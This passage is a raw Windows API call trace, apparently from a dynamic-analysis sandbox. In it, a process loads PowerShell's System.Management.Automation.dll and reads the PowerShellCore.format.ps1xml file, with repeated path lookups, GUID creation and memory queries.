lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.090] GetLastError () returned 0x0 [0058.090] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xee028ec3, Data2=0xef09, Data3=0x4316, Data4=([0]=0x88, [1]=0xe8, [2]=0x42, [3]=0x9e, [4]=0xb, [5]=0xb0, [6]=0x85, [7]=0x56))) returned 0x0 [0058.091] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.091] GetLastError () returned 0x0 [0058.091] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.091] GetLastError () returned 0x0 [0058.091] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.091] GetLastError () returned 0x0 [0058.091] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.091] GetLastError () returned 0x0 [0058.091] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.091] GetLastError () returned 0x0 [0058.091] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.091] GetLastError () returned 0x0 [0058.091] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x4fe69599, Data2=0x42c3, Data3=0x45b9, Data4=([0]=0xac, [1]=0x6e, [2]=0x28, [3]=0xf7, [4]=0x57, [5]=0x54, [6]=0xd6, [7]=0x4f))) returned 0x0 [0058.091] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.091] GetLastError () returned 0x0 [0058.091] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.092] GetLastError () returned 0x0 [0058.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.092] GetLastError () returned 0x0 [0058.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.092] GetLastError () returned 0x0 [0058.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.092] GetLastError () returned 0x0 [0058.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.092] GetLastError () returned 0x0 [0058.092] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xc4489d1c, Data2=0x8d38, Data3=0x4aef, Data4=([0]=0xa9, [1]=0x76, [2]=0x3, [3]=0x7b, [4]=0x97, [5]=0xd1, [6]=0x6b, [7]=0x1f))) returned 0x0 [0058.092] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xc3fec519, Data2=0x9b3c, Data3=0x490b, Data4=([0]=0x96, [1]=0x4a, [2]=0x50, [3]=0x5d, [4]=0x99, [5]=0xb7, [6]=0x4f, [7]=0x35))) returned 0x0 [0058.092] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xcd4ec56, Data2=0x35ab, Data3=0x4d1e, Data4=([0]=0x9c, [1]=0x53, [2]=0xfe, [3]=0xdf, [4]=0xf9, [5]=0xed, [6]=0x42, [7]=0x21))) returned 0x0 [0058.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.092] GetLastError () returned 0x0 [0058.092] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.092] GetLastError () returned 0x0 [0058.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.093] GetLastError () returned 0x0 [0058.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dd40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.093] GetLastError () returned 0x0 [0058.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.093] GetLastError () returned 0x0 [0058.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.093] GetLastError () returned 0x0 [0058.093] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x69e2c53b, Data2=0xff33, Data3=0x4686, Data4=([0]=0xb2, [1]=0xdd, [2]=0xcc, [3]=0x61, [4]=0x6f, [5]=0xba, [6]=0xb9, [7]=0x49))) returned 0x0 [0058.093] VirtualQuery (in: lpAddress=0x25cd44, lpBuffer=0x25dd44, dwLength=0x1c | out: lpBuffer=0x25dd44*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.093] GetLastError () returned 0x0 [0058.093] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.094] GetLastError () returned 0x0 [0058.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.094] GetLastError () returned 0x0 [0058.094] VirtualQuery (in: lpAddress=0x25cd44, lpBuffer=0x25dd44, dwLength=0x1c | out: lpBuffer=0x25dd44*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.094] VirtualQuery (in: lpAddress=0x25cd80, lpBuffer=0x25dd80, dwLength=0x1c | out: lpBuffer=0x25dd80*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d738, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.094] GetLastError () returned 0x0 [0058.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.094] GetLastError () returned 0x0 [0058.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.094] GetLastError () returned 0x0 [0058.094] VirtualQuery (in: lpAddress=0x25cd44, lpBuffer=0x25dd44, dwLength=0x1c | out: lpBuffer=0x25dd44*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.094] VirtualQuery (in: lpAddress=0x25cd80, lpBuffer=0x25dd80, dwLength=0x1c | out: lpBuffer=0x25dd80*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d738, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.094] GetLastError () returned 0x0 [0058.094] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.095] GetLastError () returned 0x0 [0058.095] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d6e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.095] GetLastError () returned 0x0 [0058.095] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.095] GetLastError () returned 0x0 [0058.095] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.095] GetLastError () returned 0x0 [0058.095] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25d880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0058.095] GetLastError () returned 0x0 [0058.095] VirtualQuery (in: lpAddress=0x25cd44, lpBuffer=0x25dd44, dwLength=0x1c | out: lpBuffer=0x25dd44*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.095] VirtualQuery (in: lpAddress=0x25cd80, lpBuffer=0x25dd80, dwLength=0x1c | out: lpBuffer=0x25dd80*(BaseAddress=0x25c000, AllocationBase=0x220000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.097] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x58678089, Data2=0x43c, Data3=0x41f7, Data4=([0]=0xa2, [1]=0x7c, [2]=0x51, [3]=0x3b, [4]=0xe0, [5]=0x7e, [6]=0xa1, [7]=0x1b))) returned 0x0 [0058.099] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x31e35af9, Data2=0xf79e, Data3=0x4c2e, Data4=([0]=0xa1, [1]=0xd0, [2]=0x45, [3]=0xc3, [4]=0x61, [5]=0xa4, [6]=0xb4, [7]=0x50))) returned 0x0 [0058.101] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xf49fabd0, Data2=0xc1d, Data3=0x4b5a, Data4=([0]=0xb3, [1]=0x4, [2]=0x43, [3]=0xda, [4]=0x46, [5]=0xf6, [6]=0xbc, [7]=0xa6))) returned 0x0 [0058.101] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xd4c8f1c9, Data2=0x173d, Data3=0x422f, Data4=([0]=0x87, [1]=0xb6, [2]=0x74, [3]=0xdb, [4]=0x28, [5]=0x5a, [6]=0x7f, [7]=0xf3))) returned 0x0 [0058.102] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xb0221f89, Data2=0xa30a, Data3=0x4cb6, Data4=([0]=0xb4, [1]=0x73, [2]=0x37, [3]=0xf9, [4]=0xb0, [5]=0x52, [6]=0x71, [7]=0xc4))) returned 0x0 [0058.102] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xab2b2ee1, Data2=0x3d82, Data3=0x48ac, Data4=([0]=0x8d, [1]=0xdf, [2]=0xb0, [3]=0x6b, [4]=0xd4, [5]=0x63, [6]=0x37, [7]=0x25))) returned 0x0 [0058.102] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xb200023b, Data2=0xa64e, Data3=0x4a79, Data4=([0]=0xa9, [1]=0xf1, [2]=0x31, [3]=0xf2, [4]=0xc1, [5]=0x25, [6]=0x71, [7]=0x62))) returned 0x0 [0058.103] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xca831536, Data2=0xe4ad, Data3=0x42cb, Data4=([0]=0x95, [1]=0xf5, [2]=0xb9, [3]=0xa6, [4]=0xdb, [5]=0x31, [6]=0x6a, [7]=0x2a))) returned 0x0 [0058.103] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x94a86068, Data2=0x7ef5, Data3=0x4a20, Data4=([0]=0x98, [1]=0x4, [2]=0x33, [3]=0x17, [4]=0xf9, [5]=0x2f, [6]=0x3f, [7]=0xc0))) returned 0x0 [0058.103] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xe648cdb4, Data2=0x7f97, Data3=0x4c48, Data4=([0]=0x9d, [1]=0x5e, [2]=0xa2, [3]=0x1e, [4]=0xa0, [5]=0xe0, [6]=0xbe, [7]=0x32))) returned 0x0 [0058.103] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0058.104] GetLastError () returned 0x0 [0058.104] GetFileType (hFile=0x32c) returned 0x1 [0058.104] SetErrorMode (uMode=0x1) returned 0x1 [0058.104] GetFileType (hFile=0x32c) returned 0x1 [0058.104] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.105] GetLastError () returned 0x0 [0058.106] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.107] GetLastError () returned 0x0 [0058.107] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.107] GetLastError () returned 0x0 [0058.107] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.107] GetLastError () returned 0x0 [0058.107] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.108] GetLastError () returned 0x0 [0058.108] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.108] GetLastError () returned 0x0 [0058.108] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.108] GetLastError () returned 0x0 [0058.108] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.108] GetLastError () returned 0x0 [0058.108] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.108] GetLastError () returned 0x0 [0058.109] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.109] GetLastError () returned 0x0 [0058.109] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.110] GetLastError () returned 0x0 [0058.110] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.110] GetLastError () returned 0x0 [0058.110] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.110] GetLastError () returned 0x0 [0058.110] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.110] GetLastError () returned 0x0 [0058.110] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.110] GetLastError () returned 0x0 [0058.110] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.111] GetLastError () returned 0x0 [0058.111] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.111] GetLastError () returned 0x0 [0058.112] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.112] GetLastError () returned 0x0 [0058.112] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.112] GetLastError () returned 0x0 [0058.112] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.113] GetLastError () returned 0x0 [0058.113] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0058.113] GetLastError () returned 0x0 [0058.113] ReadFile (in: hFile=0x32c, lpBuffer=0x334ee5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334ee5c*, lpNumberOfBytesRead=0x25e4a4*=0xe67, lpOverlapped=0x0) returned 1 [0058.113] GetLastError () returned 0x0 [0058.113] ReadFile (in: hFile=0x32c, lpBuffer=0x334e463, nNumberOfBytesToRead=0x199, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x334e463*, 